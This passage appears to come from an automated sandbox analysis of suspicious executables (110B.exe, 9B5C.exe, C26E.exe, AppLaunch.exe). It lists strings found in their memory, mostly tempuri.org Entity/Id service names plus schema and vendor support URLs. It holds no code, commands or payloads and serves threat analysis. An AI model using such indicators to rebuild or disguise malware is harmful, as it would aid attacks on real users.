Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 110B.exe, 0000001E.00000002.552596052.00000000028A0000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576020249.0000000002DE0000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575020913.00000000031F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575766202.0000000003267000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576644571.0000000002EA9000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response(
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response(
Source: 110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4(
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577439117.0000000002F7C000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
